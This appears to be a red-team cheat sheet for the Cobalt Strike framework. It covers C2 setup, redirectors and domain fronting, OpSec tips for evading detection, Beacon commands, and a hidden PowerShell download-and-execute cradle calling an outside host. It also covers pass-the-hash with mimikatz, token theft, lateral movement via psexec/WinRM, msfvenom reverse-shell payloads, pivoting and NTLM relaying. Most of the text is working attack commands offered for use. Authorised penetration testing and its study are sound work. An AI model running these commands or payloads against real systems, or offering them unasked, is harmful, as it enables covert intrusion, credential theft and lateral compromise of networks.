Cobalt Strike

contents

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

sudo apt-get update
sudo apt-get install openjdk-11-jdk
sudo apt install proxychains socat
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
./cobaltstrike
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"

Summary#

Infrastructure
- Redirectors
- Domain fronting
OpSec
- Customer ID
Malleable C2
Files
Powershell and .NET
- Powershell commabds
- .NET remote execution
Lateral Movement
VPN & Pivots
Beacon Object Files
NTLM Relaying via Cobalt Strike
References

Infrastructure#

Redirectors#

sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80

Domain Fronting#

New Listener > HTTP Host Header
Choose a domain in “Finance & Healthcare” sector

OpSec#

Don’t

Use default self-signed HTTPS certificate
Use default port (50050)
Use 0.0.0.0 DNS response
Metasploit compatibility, ask for a payload : wget -U "Internet Explorer" http://127.0.0.1/vl6D

Use a redirector (Apache, CDN, …)
Firewall to only accept HTTP/S from the redirectors
Firewall 50050 and access via SSH tunnel
Edit default HTTP 404 page and Content type: text/plain
No staging set hosts_stage to false in Malleable C2
Use Malleable Profile to taylor your attack to specific actors

Customer ID#

The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.

The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
The trial has a Customer ID value of 0.
Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool

Malleable C2#

List of Malleable Profiles hosted on Github

Cobalt Strike - Malleable C2 Profiles xx0hcd/Malleable-C2-Profiles
Cobalt Strike Malleable C2 Design and Reference Guide threatexpress/malleable-c2
Malleable-C2-Profiles rsmudge/Malleable-C2-Profiles
SourcePoint is a C2 profile generator Tylous/SourcePoint

Example of syntax

set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";

# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";

Check a profile with ./c2lint.

A result of 0 is returned if c2lint completes with no errors
A result of 1 is returned if c2lint completes with only warnings
A result of 2 is returned if c2lint completes with only errors
A result of 3 is returned if c2lint completes with both errors and warning

Files#

# List the file on the specified directory
beacon > ls <C:\Path>

# Change into the specified working directory
beacon > cd [directory]

# Delete a file\folder
beacon > rm [file\folder]

# File copy
beacon > cp [src] [dest]

# Download a file from the path on the Beacon host
beacon > download [C:\filePath]

# Lists downloads in progress
beacon > downloads

# Cancel a download currently in progress
beacon > cancel [*file*]

# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]

Powershell and .NET#

Powershell commands#

# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]

# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]

# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]

# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]

.NET remote execution#

Run a local .NET executable as a Beacon post-exploitation job.

Require:

Binaries compiled with the “Any CPU” configuration.

beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2

Lateral Movement#

:warning: OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe

portscan: Performs a portscan on a specific target.
runas: A wrapper of runas.exe, using credentials you can run a command as another user.
pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process.
:exclamation: This module needs Administrator privileges.
steal_token: Steal a token from a specified process.
make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target.
:exclamation: The jump module will use the current delegation/impersonation token to authenticate on the remote target.
:muscle: We can combine the jump module with the make_token or pth module for a quick “jump” to another target on the network.
remote-exec: Execute a command on a remote target using psexec, winrm or wmi.
:exclamation: The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.
ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts.

:warning: All the commands launch powershell.exe

Beacon Remote Exploits
======================
jump [module] [target] [listener] 

    psexec x86 Use a service to run a Service EXE artifact
    psexec64 x64 Use a service to run a Service EXE artifact
    psexec_psh x86 Use a service to run a PowerShell one-liner
    winrm x86 Run a PowerShell script via WinRM
    winrm64 x64 Run a PowerShell script via WinRM

Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command] 

    Methods                         Description
    -------                         -----------
    psexec                          Remote execute via Service Control Manager
    winrm                           Remote execute via WinRM (PowerShell)
    wmi                             Remote execute via WMI (PowerShell)

Opsec safe Pass-the-Hash:

mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"
steal_token PID

Assume Control of Artifact#

Use link to connect to SMB Beacon
Use connect to connect to TCP Beacon

VPN & Pivots#

:warning: Covert VPN doesn’t work with W10, and requires Administrator access to deploy.

Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon’s sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
beacon > socks [port]
beacon > socks [port] [socks4]
beacon > socks [port] [socks5]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging]

# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]

# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]

# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller.    ~=  rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin

# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin

Beacon Object Files#

A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs

Example: <https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h>

Compile

# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o

# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o

# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o

Execute: inline-execute /path/to/hello.o

NTLM Relaying via Cobalt Strike#

beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445